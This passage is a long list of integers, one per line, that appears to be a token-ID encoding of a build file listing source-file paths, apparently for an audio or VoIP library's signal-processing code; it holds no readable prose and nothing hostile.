29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
29925,
19994,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
29925,
19994,
29889,
29882,
742,
13,
13,
3986,
396,
349,
3267,
6415,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
1066,
861,
29914,
13724,
11373,
9135,
861,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
1066,
861,
29914,
13724,
11373,
9135,
861,
29889,
29882,
742,
13,
13,
3986,
396,
2563,
29934,
9472,
12279,
29924,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
5205,
29918,
29893,
336,
22437,
29914,
2856,
29914,
2671,
29918,
3626,
284,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
5205,
29918,
29893,
336,
22437,
29914,
2856,
29914,
21970,
29918,
22100,
29918,
17699,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
5205,
29918,
29893,
336,
22437,
29914,
2856,
29914,
11625,
29918,
1753,
1475,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
5205,
29918,
29893,
336,
22437,
29914,
2856,
29914,
2527,
10817,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
5205,
29918,
29893,
336,
22437,
29914,
2856,
29914,
12198,
29918,
9294,
29918,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
5205,
29918,
29893,
336,
22437,
29914,
4993,
29914,
2671,
29918,
3626,
284,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
5205,
29918,
29893,
336,
22437,
29914,
4993,
29914,
2527,
10817,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
5205,
29918,
29893,
336,
22437,
29914,
4993,
29914,
21970,
29918,
22100,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
1017,
9795,
1389,
29879,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
19651,
29914,
7564,
29914,
6954,
4422,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
19651,
29914,
7564,
29914,
6954,
4422,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
19651,
29914,
1807,
29918,
1493,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
19651,
29914,
294,
18869,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
19651,
29914,
294,
18869,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
19651,
29914,
1807,
29918,
1493,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
8768,
29914,
25253,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
8768,
29914,
12313,
29918,
25253,
29918,
5943,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
8768,
29914,
12313,
29918,
25253,
29918,
5943,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
8768,
29914,
25253,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
14834,
29914,
14834,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
7299,
29914,
1853,
29918,
3018,
1169,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
20567,
29914,
20567,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
7611,
29914,
262,
21354,
29918,
8111,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
22197,
29918,
3198,
29879,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
637,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
2917,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
7564,
29914,
1610,
29918,
21027,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
7564,
29914,
20539,
29918,
21234,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
7564,
29914,
9772,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
7564,
29914,
14764,
29918,
11918,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
7564,
29914,
21641,
29918,
20849,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
7564,
29914,
22350,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
7564,
29914,
1610,
29918,
21027,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
7564,
29914,
20539,
29918,
21234,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
15697,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
8628,
1883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
20640,
2133,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
3188,
29914,
1188,
29918,
344,
369,
537,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
370,
2536,
29914,
329,
1793,
29914,
329,
1793,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
1807,
29918,
517,
29918,
4537,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
11433,
555,
351,
293,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
25525,
29918,
3198,
261,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
19651,
29914,
1807,
29918,
16409,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
19651,
29914,
1807,
29918,
16409,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
3696,
29918,
29873,
945,
261,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
1807,
12508,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
14834,
29914,
13671,
29918,
27631,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
14834,
29914,
13671,
29918,
27631,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
2230,
13239,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
3696,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
17281,
29918,
29893,
870,
1389,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
1807,
13239,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
2378,
2311,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
12120,
29918,
1445,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
26276,
29918,
9990,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
1807,
29918,
517,
29918,
4537,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
15003,
29918,
3696,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
3198,
29879,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
311,
1457,
9252,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
7097,
29918,
3198,
261,
29918,
13699,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
28455,
277,
3950,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
21785,
287,
29918,
999,
29918,
7414,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
21027,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
2230,
13239,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
21641,
3554,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
1807,
12508,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
1807,
13239,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
3198,
29879,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
8058,
1199,
29914,
11177,
29918,
1195,
3317,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
8058,
1199,
29914,
11177,
29918,
535,
26100,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
8058,
1199,
29914,
11177,
29918,
535,
26100,
29918,
13699,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
8058,
1199,
29914,
11177,
29918,
18307,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
5205,
29914,
348,
3880,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
5205,
29914,
14764,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
5205,
29914,
17281,
29918,
25442,
886,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
5205,
29914,
11625,
29918,
1753,
1475,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
5205,
29914,
2273,
29883,
29918,
15843,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
5205,
29914,
1279,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
12120,
29918,
7097,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
12120,
29918,
7097,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
12120,
29918,
7097,
29918,
8768,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
17529,
9721,
29918,
13239,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
7097,
29918,
6735,
800,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
29887,
1688,
29918,
10633,
29918,
4422,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
2220,
29918,
1493,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
9695,
936,
2042,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
9695,
936,
2042,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
12120,
29918,
7097,
29918,
8768,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
999,
2798,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
3696,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
7097,
29918,
3198,
261,
29918,
13699,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
3696,
29918,
29873,
945,
261,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
12198,
29918,
9294,
29918,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
21027,
29918,
705,
1182,
14246,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
1853,
29918,
3018,
1169,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
12120,
29918,
1445,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
999,
11808,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
21027,
29918,
8628,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
7097,
29918,
3198,
261,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
25525,
29918,
3198,
261,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
999,
2798,
287,
3318,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
22585,
29918,
22633,
29914,
27539,
1217,
895,
29914,
4351,
29914,
29878,
15755,
29918,
29894,
328,
29918,
705,
5861,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
22585,
29918,
22633,
29914,
27539,
1217,
895,
29914,
4351,
29914,
29878,
15755,
29918,
11236,
800,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
22585,
29918,
22633,
29914,
27539,
1217,
895,
29914,
4351,
29914,
29895,
790,
29918,
600,
29873,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
22585,
29918,
22633,
29914,
27539,
1217,
895,
29914,
4351,
29914,
29895,
790,
29918,
600,
29873,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
22585,
29918,
22633,
29914,
27539,
1217,
895,
29914,
4351,
29914,
29878,
15755,
29918,
29894,
328,
29918,
705,
5861,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2754,
29914,
18494,
29914,
18494,
29918,
2557,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2754,
29914,
18494,
29914,
8057,
29918,
3068,
3729,
261,
29941,
29918,
2917,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2754,
29914,
18494,
29914,
8057,
29918,
6451,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2754,
29914,
18494,
29914,
18494,
29918,
2557,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2754,
29914,
18494,
29914,
8057,
29918,
3068,
3729,
261,
29941,
29918,
2917,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2754,
29914,
18494,
29914,
8057,
29918,
3068,
3729,
261,
29941,
29918,
14399,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2754,
29914,
18494,
29914,
8057,
29918,
3068,
3729,
261,
29941,
29918,
14399,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2754,
29914,
2378,
29918,
1493,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
22585,
29918,
22633,
29914,
600,
29873,
29914,
600,
29873,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
22585,
29918,
22633,
29914,
600,
29873,
29914,
600,
29873,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
4980,
2103,
29918,
3888,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
